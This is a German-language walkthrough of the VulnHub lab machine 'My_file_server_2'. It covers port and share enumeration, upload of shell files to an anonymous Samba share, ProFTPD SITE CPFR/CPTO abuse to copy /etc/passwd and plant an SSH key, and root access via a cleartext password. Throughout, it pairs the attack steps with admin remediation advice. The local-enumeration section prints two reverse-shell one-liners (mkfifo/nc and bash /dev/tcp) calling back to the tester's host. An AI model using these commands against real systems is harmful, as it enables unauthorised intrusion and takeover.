My_file_server_2 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
ftp
wget
enum4linux
smbclient
cat
grep
telnet
ssh-keygen
ssh
find
bash
metasploit (msfconsole)
nc (netcat)
mkfifo
su
id
cd
ls
mkdir
put (smbclient/ftp)
get (smbclient)
pwd
rm

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Identifizierung des Zielsystems im Netzwerk und einer umfassenden Analyse der offenen Ports und Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.130	08:00:27:77:fc:eb	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.

Bewertung: Ein Host mit der IP-Adresse `192.168.2.130` wurde erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:77:fc:eb`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP `192.168.2.130` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
  192.168.2.130   my_file_server.vuln
                     

Analyse: Der Hostname `my_file_server.vuln` wird der IP `192.168.2.130` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und OS-Details zu ermitteln.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.130 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 22:54 CEST
Nmap scan report for my_file_server.vuln (192.168.2.130)
Host is up (0.00011s latency).
Not shown: 64503 filtered tcp ports (no-response), 20 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset)
PORT      STATE SERVICE VERSION 
21/tcp    open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19  2020 pub [NSE: writeable] 
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199 
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp    open  ssh     OpenSSH 7.4 (protocol 2.0)  
| ssh-hostkey:
|   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
|   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp    open  http    Apache httpd 2.4.6 ((CentOS))  
|_http-title: 400 Bad Request 
|_http-server-header: Apache/2.4.6 (CentOS) 
111/tcp   open  rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug) 
445/tcp   open  samba   Samba smbd 4.9.1 (workgroup: SAMBA) 
2049/tcp  open  nfs     3-4 (RPC #100003)
2121/tcp  open  ftp     ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR 
20048/tcp open  mountd  1-3 (RPC #100005)
MAC Address: 08:00:27:77:FC:EB (Oracle VirtualBox virtual NIC) 
Aggressive OS guesses: Linux 3.4 - 3.10 (98%), Synology DiskStation Manager 5.2-5644 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 (93%), Linux 2.6.32 - 3.5 (92%), Linux 2.6.32 - 3.13 (92%) 
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; OS: Unix 

Host script results:
| smb2-time:
|   date: 2023-09-26T20:55:33
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|_  System time: 2023-09-27T02:25:35+05:30
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used:  
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1h49m51s, deviation: 3h10m29s, median: 7s

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.11 ms my_file_server.vuln (192.168.2.130)
                    

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`).

Bewertung: Der Scan identifiziert eine Reihe offener Ports und Dienste, viele davon veraltet:

  • **Port 21 (FTP):** vsftpd 3.0.2. **Kritisch:** Anonymer Login erlaubt und das Verzeichnis `/pub` ist **beschreibbar**.
  • **Port 22 (SSH):** OpenSSH 7.4 (alt).
  • **Port 80 (HTTP):** Apache 2.4.6 (CentOS) (alt). Gibt einen "400 Bad Request" zurück, was auf eine Fehlkonfiguration oder einen virtuellen Host hindeutet, der nicht auf Anfragen an die IP reagiert.
  • **Port 111 (RPCBind):** Aktiv, aber `rpcinfo`-Skript schlägt fehl.
  • **Port 445 (SMB):** Samba 4.9.1. Gastzugriff möglich (`account_used: `), Message Signing deaktiviert.
  • **Port 2049 (NFS):** NFS-Dienst läuft (RPC #100003).
  • **Port 2121 (FTP):** ProFTPD 1.3.5. Anonymer Login erlaubt, aber Verzeichnislistung scheitert. **Wichtig:** ProFTPD unterstützt oft SITE CPFR/CPTO Befehle.
  • **Port 20048 (Mountd):** NFS Mount Daemon (RPC #100005).
Das OS wird als älteres Linux (vermutlich CentOS 5/6) geschätzt. Die **beschreibbare anonyme FTP-Freigabe (Port 21)**, die **NFS/Mountd-Dienste** und der **ProFTPD auf Port 2121** sind die vielversprechendsten Angriffsvektoren.

Empfehlung (Pentester):** 1. Untersuchen Sie NFS: Exportierte Verzeichnisse listen (`showmount -e 192.168.2.130`). Versuchen Sie, diese zu mounten. 2. Untersuchen Sie den beschreibbaren anonymen FTP (Port 21): Was befindet sich in `/pub`? Können hochgeladene Dateien über NFS oder Samba ausgeführt werden? 3. Nutzen Sie ProFTPD (Port 2121): Versuchen Sie `SITE CPFR`/`CPTO`, um Dateien (z.B. `/etc/passwd`, SSH-Schlüssel) an einen beschreibbaren Ort (FTP `/pub` oder Samba-Share) zu kopieren. 4. Untersuchen Sie Samba (Port 445): Shares listen (`smbclient -L //192.168.2.130 -N`), Gastzugriff testen. 5. Prüfen Sie den Webserver (Port 80) mit dem korrekten Hostnamen, falls er später ermittelt wird.
Empfehlung (Admin):** **Dringend:** Entfernen Sie Schreibrechte für anonyme FTP-Benutzer! **Dringend:** Sichern Sie NFS-Freigaben (korrekte Exporte, `no_root_squash` vermeiden). **Dringend:** Aktualisieren Sie alle Dienste (vsftpd, ProFTPD, OpenSSH, Apache, Samba) und das Betriebssystem (CentOS 5/6 sind EOL!). Deaktivieren Sie anonymen/Gast-Zugriff auf Samba/FTP, wenn nicht benötigt. Sichern Sie ProFTPD (SITE-Befehle einschränken).

Wir filtern die Nmap-Ausgabe nach offenen Ports.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.130 -p- | grep open
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 7.4 (protocol 2.0) 
80/tcp    open  http    Apache httpd 2.4.6 ((CentOS)) 
111/tcp   open  rpcbind 2-4 (RPC #100000)
445/tcp   open  samba   Samba smbd 4.9.1 (workgroup: SAMBA) 
2049/tcp  open  nfs     3-4 (RPC #100003)
2121/tcp  open  ftp     ProFTPD 1.3.5
20048/tcp open  mountd  1-3 (RPC #100005)
                    

Analyse: Filtert die Nmap-Ausgabe, um nur Zeilen anzuzeigen, die "open" enthalten.

Bewertung: Zeigt die 8 primären offenen Ports übersichtlich an.

Empfehlung (Pentester): Nutzen Sie diese Liste zur systematischen Untersuchung.
Empfehlung (Admin):** Reduzieren Sie die Anzahl offener Ports.

Web Enumeration

Wir untersuchen den Webserver auf Port 80, obwohl er einen Fehler zurückgibt, und suchen nach Hinweisen.

Ein Gobuster-Scan wird gegen Port 80 durchgeführt:

┌──(root㉿Cybermaschine)-[~/HackingTools/lxd-alpine-builder] └─# gobuster dir -u http://192.168.2.130 -x [...] -w "[...]" -b '403,404' -e --no-error
http://192.168.2.130/index.html           (Status: 200) [Size: 174]
http://192.168.2.130/readme.txt           (Status: 200) [Size: 25]
                    

Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot auf Port 80.

Bewertung: Findet eine `index.html` und die bereits von Nikto (auf dem anderen Server) gesehene `readme.txt`.

Empfehlung (Pentester): Lesen Sie den Inhalt von `readme.txt`. Dies könnte das gleiche Passwort wie beim vorherigen Server sein.
Empfehlung (Admin):** Entfernen Sie unnötige Dateien.

Analyse des Inhalts von `readme.txt` (implizit, da der Inhalt im Log später gezeigt wird):

My Password is
rootroot1
                    

Analyse: Der Inhalt der Datei `/readme.txt` wird abgerufen (vermutlich via `curl` oder Browser).

Bewertung: **Kritischer Fund!** Wie beim Server "My_file_server_1" enthält die Datei das Passwort `rootroot1` im Klartext.

Empfehlung (Pentester): Versuchen Sie dieses Passwort für den `root`-Benutzer (unwahrscheinlich bei SSH wegen der Konfiguration) und für andere gefundene Benutzer (z.B. `smbuser`) bei SSH (Port 22) und FTP (Port 21).
Empfehlung (Admin):** **Niemals Passwörter im Klartext in Web-zugänglichen Dateien speichern!** Entfernen Sie diese Datei sofort.

FTP Enumeration

Wir untersuchen den FTP-Dienst auf Port 21, insbesondere den anonymen Zugang und das beschreibbare Verzeichnis.

Anonymer FTP-Login und Untersuchung des `/pub`-Verzeichnisses:

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.130
Connected to 192.168.2.130.
220 (vsFTPd 3.0.2)
Name (192.168.2.130:cyber): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                     
ftp> ls -la
229 Entering Extended Passive Mode (|||5301|).
150 Here comes the directory listing.
drwxr-xr-x    3 0        0              16 Feb 18  2020 .
drwxr-xr-x    3 0        0              16 Feb 18  2020 ..
drwxrwxrwx    3 0        0              16 Feb 19  2020 pub 
226 Directory send OK. 
                     
ftp> cd /var
550 Failed to change directory.
ftp> put shell.py
local: shell.py remote: shell.py
229 Entering Extended Passive Mode (|||port|) 
550 Permission denied. 
                     
ftp> quit

Analyse: Anonymer FTP-Login. Das Stammverzeichnis enthält ein Verzeichnis `pub` mit Schreibrechten für alle (`drwxrwxrwx`). Der Versuch, in `/var` zu wechseln oder eine Datei ins Stammverzeichnis hochzuladen, scheitert.

Bewertung: Bestätigt den anonymen Zugang und das **kritische, beschreibbare `/pub`-Verzeichnis**. Chroot scheint aktiv zu sein.

Empfehlung (Pentester): Wechseln Sie in das `/pub`-Verzeichnis und versuchen Sie dort, Dateien hochzuladen (z.B. eine Webshell, `authorized_keys`).
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für das `/pub`-Verzeichnis (`chmod o-w /path/to/ftp/pub`). Deaktivieren Sie anonymen FTP-Zugang, wenn möglich.

Rekursives Herunterladen des FTP-Inhalts mit `wget`:

┌──(root㉿cycat)-[~] └─# wget -r ftp://Anonymous:Anonymous@192.168.2.130
--2023-09-26 22:59:58--  ftp://Anonymous:*password*@192.168.2.130/
           => 192.168.2.130/.listing
Verbindungsaufbau zu 192.168.2.130:21 … verbunden.
Anmelden als Anonymous … Angemeldet!
> SYST ... fertig.    > PWD ... fertig.
> TYPE I ... fertig.  > CWD nicht notwendig.
> PASV ... fertig.    > LIST ... fertig.
192.168.2.130/.listing      [ <=>                          ]     180  --.-KB/s    in 0s      
2023-09-26 22:59:58 (30,5 MB/s) - 192.168.2.130/.listing gespeichert [180]
192.168.2.130/.listing gelöscht.

--2023-09-26 22:59:58--  ftp://Anonymous:*password*@192.168.2.130/pub/
           => 192.168.2.130/pub/.listing
> CWD (1) /pub ... fertig.
> PASV ... fertig.    > LIST ... fertig.
192.168.2.130/pub/.list     [ <=>                          ]     180  --.-KB/s    in 0s      
2023-09-26 22:59:58 (31,5 MB/s) - 192.168.2.130/pub/.listing gespeichert [180] 
Verzeichnis »192.168.2.130/pub« aufgeräumt.
INSGESAMT Dateien: 180 Bytes in 1 Dateien geholt.
                     

Analyse: `wget -r` wird verwendet, um den Inhalt des anonymen FTP-Bereichs rekursiv herunterzuladen.

Bewertung: Lädt das Verzeichnis `/pub` herunter, das aber laut `ls` leer zu sein scheint (nur `.` und `..`). Keine neuen Dateien gefunden.

Empfehlung (Pentester): Fokus bleibt auf dem Schreibzugriff im `/pub`-Verzeichnis über FTP oder auf dem `/smbdata`-Verzeichnis über Samba.
Empfehlung (Admin):** Keine Aktion erforderlich.

SMB Enumeration

Wir untersuchen den Samba-Dienst auf Port 445 genauer.

┌──(root㉿cycat)-[~] └─# enum4linux -a 192.168.2.130
 
 =( Share Enumeration on 192.168.2.130 )=

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	smbdata         Disk      smbdata 
	smbuser         Disk      smbuser 
	IPC$            IPC       IPC Service (Samba 4.9.1)
 
[+] Attempting to map shares on 192.168.2.130
//192.168.2.130/print$	Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.130/smbdata	Mapping: OK Listing: OK Writing: OK 
//192.168.2.130/smbuser	Mapping: DENIED Listing: N/A Writing: N/A
 
 =( User Enumeration on 192.168.2.130 )=
[+] Enumerating users using SID S-1-5-21-1584567012-685468033-1030942069 and logon username '', password ''
S-1-5-21-1584567012-685468033-1030942069-1000 FILESERVER\smbuser (Local User)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\smbuser (Local User)
 
                    

Analyse: `enum4linux -a` führt eine SMB-Enumeration durch.

Bewertung: Findet die Shares `print$`, `smbdata`, `smbuser`, `IPC$`. **Kritisch:** Die Share `smbdata` ist für anonyme/Gast-Benutzer les- und **beschreibbar** (`Mapping: OK Listing: OK Writing: OK`)! Der Benutzer `smbuser` wird erneut identifiziert.

Empfehlung (Pentester):** Die beschreibbare `smbdata`-Share ist ein Hauptangriffsvektor. Verbinden Sie sich (`smbclient //192.168.2.130/smbdata -N`) und laden Sie einen SSH-Schlüssel oder eine Webshell hoch (falls der Pfad über Web erreichbar ist). Testen Sie das Passwort `rootroot1` für `smbuser` bei SSH/FTP.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die anonymen Schreibrechte für die `smbdata`-Share! Überprüfen Sie die gesamte Samba-Konfiguration.

Verbindungsversuche zu den Shares `smbuser` und `smbdata`:

┌──(root㉿cycat)-[~] └─# smbclient //192.168.2.130/smbuser
Password for [WORKGROUP\root]: 
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
                     

Analyse: Anonymer Verbindungsversuch zur `smbuser`-Share.

Bewertung: Zugriff verweigert. Korrekt konfiguriert.

┌──(root㉿cycat)-[~] └─# smbclient //192.168.2.130/smbdata -N
Anonymous login successful
Try "help" to get a list of possible commands.
                     
smb: \> ls
  .                                   D        0  Fri Feb 21 07:50:09 2020
  ..                                  D        0  Tue Feb 18 12:47:54 2020
  anaconda                            D        0  Tue Feb 18 12:48:15 2020
  audit                               D        0  Tue Feb 18 12:48:15 2020
  boot.log                            N     6120  Tue Feb 18 12:48:16 2020
  btmp                                N      384  Tue Feb 18 12:48:16 2020
  cron                                N     4813  Tue Feb 18 12:48:16 2020
  dmesg                               N    31389  Tue Feb 18 12:48:16 2020
  dmesg.old                           N    31389  Tue Feb 18 12:48:16 2020
  glusterfs                           D        0  Tue Feb 18 12:48:16 2020
  lastlog                             N   292292  Tue Feb 18 12:48:16 2020
  maillog                             N     1982  Tue Feb 18 12:48:16 2020
  messages                            N   684379  Tue Feb 18 12:48:17 2020
  ppp                                 D        0  Tue Feb 18 12:48:17 2020
  samba                               D        0  Tue Feb 18 12:48:17 2020
  secure                              N    11937  Tue Feb 18 12:48:17 2020
  spooler                             N        0  Tue Feb 18 12:48:17 2020
  tallylog                            N        0  Tue Feb 18 12:48:17 2020
  tuned                               D        0  Tue Feb 18 12:48:17 2020
  wtmp                                N    25728  Tue Feb 18 12:48:17 2020
  xferlog                             N      100  Tue Feb 18 12:48:17 2020
  yum.log                             N    10915  Tue Feb 18 12:48:17 2020
  sshd_config                         N     3906  Wed Feb 19 08:46:38 2020 
  authorized_keys                     A      389  Fri Feb 21 07:50:09 2020 

		19976192 blocks of size 1024. 17759928 blocks available
                     
smb: \> get sshd_config
getting file \sshd_config of size 3906 as sshd_config (3814,1 KiloBytes/sec) (average 3814,5 KiloBytes/sec)
smb: \> get authorized_keys
getting file \authorized_keys of size 389 as authorized_keys (47,5 KiloBytes/sec) (average 466,0 KiloBytes/sec)
smb: \> put shell.py
putting file shell.py as \shell.py (36,0 kb/s) (average 36,0 kb/s)
smb: \> put rce_shell.php
putting file rce_shell.php as \rce_shell.php (3,8 kb/s) (average 27,7 kb/s)
smb: \> exit

Analyse: Anonyme Verbindung zur `smbdata`-Share mit `smbclient -N`. Der Inhalt wird aufgelistet, Dateien (`sshd_config`, `authorized_keys`) heruntergeladen und eigene Dateien (`shell.py`, `rce_shell.php`) hochgeladen.

Bewertung: Bestätigt den anonymen Lese- und Schreibzugriff auf `smbdata`. Die heruntergeladene `sshd_config` könnte Informationen zur SSH-Konfiguration liefern (z.B. erlaubte Authentifizierungsmethoden). Die `authorized_keys` könnte den öffentlichen Schlüssel eines berechtigten Benutzers enthalten. Das Hochladen eigener Dateien ist möglich.

Empfehlung (Pentester): Analysieren Sie die heruntergeladenen Dateien. Da Schreibzugriff besteht, ist das Hochladen eines eigenen SSH-Schlüssels in das `.ssh`-Verzeichnis des Zielbenutzers (`smbuser`) der wahrscheinlichste Weg zum Initial Access. Dies kann entweder über Samba erfolgen (wenn `smbdata` auf `/home/smbuser` oder einen beschreibbaren Teil davon zeigt) oder durch Kombination mit FTP (hochladen in `/pub` via FTP, dann kopieren via ProFTPD `SITE CPFR/CPTO` an den richtigen Ort, falls `/pub` und `/home/smbuser` auf dem gleichen Dateisystem liegen).
Empfehlung (Admin):** Anonymen Schreibzugriff entfernen!

ProFTPD Exploitation (File Copy)

Wir nutzen eine Schwachstelle oder ein Feature des ProFTPD-Servers auf Port 2121, um Dateien auf dem Server zu kopieren, insbesondere um unseren SSH-Schlüssel an die richtige Stelle zu bringen.

Verbindung zu ProFTPD (Port 2121) via Telnet und Kopieren von `/etc/passwd` nach `/smbdata/passwd_hacker`:

┌──(root㉿cycat)-[~] └─# telnet 192.168.2.130 2121
Trying 192.168.2.130...
Connected to 192.168.2.130.
Escape character is '^]'.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.2.130]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
 CPFR  pathname
 CPTO  pathname 
 HELP
 CHGRP
 CHMOD
214 Direct comments to root@localhost
                     
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
                     
site cpto /smbdata/passwd_hacker
250 Copy successful
                     

Analyse: Verbindung zum ProFTPD auf Port 2121 mittels Telnet. Der `site help`-Befehl zeigt verfügbare `SITE`-Befehle, darunter `CPFR` (Copy From) und `CPTO` (Copy To). Diese werden verwendet, um `/etc/passwd` in die für uns (via Samba) beschreibbare Share `/smbdata` unter dem Namen `passwd_hacker` zu kopieren.

Bewertung: **Erfolgreiche Ausnutzung!** ProFTPD erlaubt das Kopieren von Dateien auf dem Server selbst. In Kombination mit der beschreibbaren Samba-Share können wir beliebige Dateien, die der ProFTPD-Prozess lesen kann (oft als root laufend!), exfiltrieren. `/etc/passwd` wurde erfolgreich kopiert.

Empfehlung (Pentester): Nutzen Sie dieselbe Technik, um unseren zuvor generierten öffentlichen SSH-Schlüssel (`authorized_keys`), den wir in die `smbdata`-Share hochgeladen haben, in das korrekte Verzeichnis `/home/smbuser/.ssh/authorized_keys` zu kopieren.
Empfehlung (Admin):** Aktualisieren Sie ProFTPD. Deaktivieren Sie gefährliche `SITE`-Befehle (`CPFR`, `CPTO`) in der ProFTPD-Konfiguration, wenn nicht unbedingt benötigt. Beschränken Sie die Rechte des ProFTPD-Prozesses. Sichern Sie Samba-Shares.

Kopieren des hochgeladenen SSH-Schlüssels mittels ProFTPD `SITE`-Befehlen:

┌──(root㉿cycat)-[~] └─# nc -vv 192.168.2.130 2121
my_file_server.vuln [192.168.2.130] 2121 (iprop) open
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.2.130]
site cpfr /smbdata/samba/authorized_keys
350 File or directory exists, ready for destination name
                     
site cpto /home/smbuser/.ssh/authorized_keys
250 Copy successful
                     

Analyse: Verbindung zu ProFTPD (Port 2121) mit `nc`. Mittels `SITE CPFR` wird der zuvor über Samba hochgeladene öffentliche Schlüssel (angenommen im Pfad `/smbdata/samba/authorized_keys`) ausgewählt. Mit `SITE CPTO` wird dieser Schlüssel an den Zielort `/home/smbuser/.ssh/authorized_keys` kopiert.

Bewertung: **Erfolg!** Der öffentliche SSH-Schlüssel wurde erfolgreich im `.ssh`-Verzeichnis des Benutzers `smbuser` platziert. Der SSH-Login als `smbuser` mit dem entsprechenden privaten Schlüssel sollte nun möglich sein.

Empfehlung (Pentester): Versuchen Sie den SSH-Login als `smbuser` mit dem privaten Schlüssel.
Empfehlung (Admin):** Siehe vorherige Empfehlungen zu ProFTPD und Samba.

Initial Access

Wir nutzen den über FTP/Samba/ProFTPD platzierten SSH-Schlüssel, um uns als `smbuser` anzumelden.

┌──(root㉿cycat)-[~] └─# ssh smbuser@192.168.2.130 -i .ssh/id_rsa

   #                                      Armour Infosec                                        #
   #                          www.armourinfosec.com                        #
   #                                    My File Server - 2                                      # 
   #                               Designed By  :- Akanksha Sachin Verma                        #
   #                               Twitter      :- @akankshavermasv                             #


Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben)
Last login: Fri Feb 21 12:39:36 2020
[smbuser@fileserver ~]$
                     

Analyse: SSH-Login als `smbuser` unter Verwendung des privaten Schlüssels (`.ssh/id_rsa`). Eine Passphrase für den Schlüssel ist erforderlich.

Bewertung: Initial Access erfolgreich! Nach Eingabe der korrekten Passphrase erhalten wir eine Shell als `smbuser`.

Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `smbuser`.
Empfehlung (Admin):** Erzwingen Sie starke Passphrasen für SSH-Schlüssel. Korrigieren Sie die Sicherheitslücken (FTP/Samba/ProFTPD).

Local Enumeration & Shell Upgrade

Wir untersuchen das System als `smbuser` und richten eine Metasploit-Sitzung ein.

Analyse der Bash-History:

[smbuser@fileserver ~]$ cat .bash_history
history
echo > .bash_history
cat .bash_history .
cat .bash_history
su - root 
                     

Analyse: Die Bash-History von `smbuser` wird angezeigt.

Bewertung: Die History wurde größtenteils gelöscht. Der letzte interessante Befehl ist `su - root`, was darauf hindeutet, dass der Benutzer versucht hat, Root zu werden.

Empfehlung (Pentester): Versuchen Sie `su root` mit dem Passwort `rootroot1`, das in der `/readme.txt` gefunden wurde. Prüfen Sie SUID-Dateien.
Empfehlung (Admin):** Keine Aktion.

Suche nach SUID-Binaries:

[smbuser@fileserver ~]$ find / -type f -perm -4000 -ls 2>/dev/null
34179364   64 -rwsr-xr-x   1 root     root        64200 Mar  6  2015 /usr/bin/chage
34179365   80 -rwsr-xr-x   1 root     root        78168 Mar  6  2015 /usr/bin/gpasswd
34175860   44 -rwsr-xr-x   1 root     root        41752 Mar  6  2015 /usr/bin/newgrp
34182648   44 -rwsr-xr-x   1 root     root        44232 Mar  6  2015 /usr/bin/mount
34179705   24 -rws--x--x   1 root     root        23960 Mar  6  2015 /usr/bin/chfn
34179486   24 -rws--x--x   1 root     root        23856 Mar  6  2015 /usr/bin/chsh
34182663   32 -rwsr-xr-x   1 root     root        32064 Mar  6  2015 /usr/bin/su
34182667   32 -rwsr-xr-x   1 root     root        31960 Mar  6  2015 /usr/bin/umount
34362148   28 -rwsr-xr-x   1 root     root        27656 Jun 10  2014 /usr/bin/pkexec 
34362174   60 -rwsr-xr-x   1 root     root        57536 Jul 30  2014 /usr/bin/crontab
34676864  128 -rwsr-xr-x   1 root     root       130720 Mar  6  2015 /usr/bin/sudo 
34296737  208 -rwsr-xr-x   1 root     stapusr    212080 Oct 18  2019 /usr/bin/staprun 
34631418   28 -rwsr-xr-x   1 root     root        27832 Jun 10  2014 /usr/bin/passwd
67395239   12 -rwsr-xr-x   1 root     root        11208 Mar  6  2015 /usr/sbin/pam_timestamp_check
67395241   36 -rwsr-xr-x   1 root     root        36264 Mar  6  2015 /usr/sbin/unix_chkpwd
67574143   12 -rwsr-xr-x   1 root     root        11296 Aug  9  2019 /usr/sbin/usernetctl
68676026  116 -rwsr-xr-x   1 root     root       117432 Aug  9  2019 /usr/sbin/mount.nfs
67585748   16 -rwsr-xr-x   1 root     root        15416 Jun 10  2014 /usr/lib/polkit-1/polkit-agent-helper-1
101817405   60 -rwsr-x---   1 root     dbus        58024 Mar 14  2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper 
                     

Analyse: Sucht nach SUID-gesetzten Dateien.

Bewertung: Findet Standard-SUID-Binaries für ein älteres CentOS/RHEL-System. `/usr/bin/pkexec` ist vorhanden (Pwnkit-Potenzial). `/usr/bin/sudo` ist ebenfalls vorhanden.

Empfehlung (Pentester): **Priorität 1:** Versuchen Sie `su root` mit dem Passwort `rootroot1`. **Priorität 2:** Testen Sie auf Pwnkit (CVE-2021-4034). **Priorität 3:** Prüfen Sie `sudo -l`.
Empfehlung (Admin):** Patchen Sie Polkit. Minimieren Sie SUID-Binaries.

Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):

[smbuser@fileserver ~]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
rm: das Entfernen von „/tmp/f“ ist nicht möglich: Datei oder Verzeichnis nicht gefunden
[smbuser@fileserver ~]$ bash -i >& /dev/tcp/192.168.2.199/4444 0>&1
msf6 > use multi/handler
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.119:52508) at 2023-09-21 00:30:53 +0200
Shell Banner:
_[?1034h[smbuser@fileserver ~]$
--

[smbuser@fileserver ~]$
                    

Analyse: Aufbau einer Reverse Shell von `smbuser` zu Metasploit via Bash TCP-Redirection.

Bewertung: Erfolgreiche Etablierung einer Shell-Sitzung (Session 1) in Metasploit.

Empfehlung (Pentester): Diese Sitzung kann für komplexere Exploits (wie Pwnkit) genutzt werden, ist aber für den einfachen `su`-Versuch nicht zwingend notwendig.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.

Proof of Concept (Privilege Escalation via su)

Dieser Abschnitt demonstriert die Privilegienerweiterung durch Verwendung des in der `readme.txt`-Datei gefundenen Passworts mit dem `su`-Befehl.

Kurzbeschreibung: Die Datei `/readme.txt` im Webroot enthielt das Passwort `rootroot1`. Wir verwenden dieses Passwort, um uns mittels `su root` als Root-Benutzer anzumelden.

Voraussetzungen: Shell-Zugriff als `smbuser`. Kenntnis des Passworts `rootroot1`.

Schritt 1: Ausführung von `su root`

[smbuser@fileserver ~]$ su root
Passwort: rootroot1
[root@fileserver smbuser]# 
                     

Analyse: Der Befehl `su root` wird ausgeführt und das Passwort `rootroot1` eingegeben.

Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Der Prompt wechselt zu `root@fileserver`. Das im Webroot gefundene Passwort war tatsächlich das Root-Passwort.

Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** **Dringend:** Ändern Sie das Root-Passwort! Entfernen Sie die `readme.txt`. Speichern Sie niemals Passwörter im Klartext.

Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung

[root@fileserver smbuser]# id
uid=0(root) gid=0(root) Gruppen=0(root)
[root@fileserver smbuser]# cd ~
[root@fileserver ~]# ls
proof.txt
[root@fileserver ~]# cat proof.txt
Best of Luck
af52e0163b03cbf7c6dd146351594a43
                     

Analyse: `id` bestätigt Root. Im `/root`-Verzeichnis wird `proof.txt` gefunden und ausgelesen.

Bewertung: Root-Rechte bestätigt. Die Root-Flagge `af52e0163b03cbf7c6dd146351594a43` wurde gefunden.

Empfehlung (Pentester): Suchen Sie die User-Flagge (normalerweise in `/home/USERNAME/`). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.

Risikobewertung:** Die Kombination aus einer im Webroot öffentlich zugänglichen Datei, die das Root-Passwort im Klartext enthält, und unsicheren FTP/Samba-Konfigurationen (die das Platzieren eines SSH-Schlüssels ermöglichten) stellt ein kritisches Risiko dar und führte zur vollständigen Kompromittierung.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Entfernen Sie Klartext-Passwörter aus allen Dateien, insbesondere aus Web-zugänglichen.
  • **Dringend:** Ändern Sie das Root-Passwort und das Passwort für `smbuser`.
  • **Dringend:** Entfernen Sie anonyme Schreibrechte von FTP- und Samba-Shares.
  • **Dringend:** Aktualisieren Sie das Betriebssystem (vermutlich CentOS 5/6 EOL) und alle Dienste.
